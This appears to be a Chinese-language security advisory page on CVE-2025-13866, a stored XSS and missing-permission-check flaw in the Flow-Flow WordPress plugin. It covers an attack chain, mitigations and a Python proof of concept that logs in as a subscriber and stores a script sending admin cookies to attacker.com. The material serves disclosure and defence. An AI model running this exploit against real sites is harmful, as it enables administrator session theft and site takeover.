IPBUF安全漏洞报告
English
CVE-2025-13866 CVSS 6.4 中危

CVE-2025-13866 WordPress Flow-Flow插件存储型XSS漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13866
漏洞类型
存储型XSS(跨站脚本攻击)+ 权限绕过
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Flow-Flow Social Feed Stream WordPress插件

相关标签

CVE-2025-13866WordPress插件漏洞存储型XSS权限绕过Flow-Flow Social Feed StreamAJAX安全WordPress安全

漏洞概述

CVE-2025-13866是WordPress平台Flow-Flow Social Feed Stream插件中的一个高危安全漏洞。该漏洞存在于插件的AJAX处理机制中,由于flow_flow_social_auth动作缺少适当的权限检查和输入验证,导致任何已认证用户(即使是最低权限的订阅者角色)都可以修改插件设置。攻击者可以利用此漏洞在插件设置页面中注入任意JavaScript代码,这些恶意代码会以存储型XSS的形式存在。当管理员访问插件设置页面时,注入的JavaScript代码会自动执行,可能导致会话劫持、管理员账户接管、恶意重定向等严重后果。由于WordPress管理员通常具有高权限,攻击成功后将直接影响整个网站的安全性,甚至可能波及服务器层面。该漏洞影响版本从3.0.0到4.7.5,CVSS评分6.4,属于中危级别漏洞,但实际危害程度可能被低估,因为存储型XSS配合管理员权限可造成重大安全风险。

技术细节

该漏洞的根本原因在于WordPress AJAX钩子flow_flow_social_auth缺乏权限验证机制。在正常情况下,WordPress插件应使用current_user_can()或check_ajax_referer()等函数验证用户权限,但该插件的AJAX处理器直接处理请求而未进行充分验证。具体来说,攻击者可以通过向wp-admin/admin-ajax.php发送POST请求,指定action参数为flow_flow_social_auth,并提交精心构造的设置数据。由于缺少nonce验证和权限检查,服务器会接受并存储这些恶意数据。攻击者通常会将JavaScript代码注入到插件的社交媒体API配置、显示设置或其他可存储字符串的选项中。这些数据会被保存在WordPress的wp_options表中,当管理员访问插件设置页面时,WordPress会从数据库加载并显示这些设置,从而触发浏览器执行注入的JavaScript。由于存储型XSS的特点,恶意代码会持久存在于数据库中,只要设置数据不被清理就会持续存在。攻击者可以利用此漏洞窃取管理员cookies、创建恶意管理员账户、或在用户访问时进行钓鱼攻击。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress网站的低权限账户(如订阅者角色),或通过其他方式(如弱口令、凭证泄露)完成认证
STEP 2
步骤2
攻击者构造恶意AJAX请求,向wp-admin/admin-ajax.php发送POST请求,action参数设置为flow_flow_social_auth,并在请求中包含XSS payload
STEP 3
步骤3
由于插件缺少权限验证和输入过滤,恶意payload被直接存储到WordPress数据库的wp_options表中
STEP 4
步骤4
当管理员访问Flow-Flow插件设置页面时,页面从数据库加载设置数据,浏览器解析并执行注入的JavaScript代码
STEP 5
步骤5
攻击者通过JavaScript获取管理员cookies或执行其他恶意操作,可能创建新管理员账户或进一步渗透服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13866 PoC - Stored XSS via AJAX # Target: WordPress with Flow-Flow Social Feed Stream Plugin (<=4.7.5) target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = sys.argv[2] if len(sys.argv) > 2 else "subscriber" password = sys.argv[3] if len(sys.argv) > 3 else "password" # XSS payload xss_payload = '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>' def exploit_stored_xss(): session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Logged in successfully as subscriber") # Step 2: Exploit the vulnerability via AJAX ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'flow_flow_social_auth', 'stream_id': '1', 'profile_text': xss_payload, 'submit': 'Save' } ajax_response = session.post(ajax_url, data=exploit_data) if ajax_response.status_code == 200: print("[+] XSS payload sent successfully") print("[+] Payload stored in plugin settings") print("[*] Wait for admin to visit plugin settings page") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_stored_xss()

影响范围

Flow-Flow Social Feed Stream 3.0.0 - 4.7.5

防御指南

临时缓解措施
如果无法立即升级,可通过以下方式临时缓解:在wp-config.php中添加代码限制低权限用户访问admin-ajax.php;或使用WordPress防火墙规则阻止对flow_flow_social_auth动作的访问;临时禁用Flow-Flow插件直到完成升级;加强用户注册审核,防止攻击者获取订阅者账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表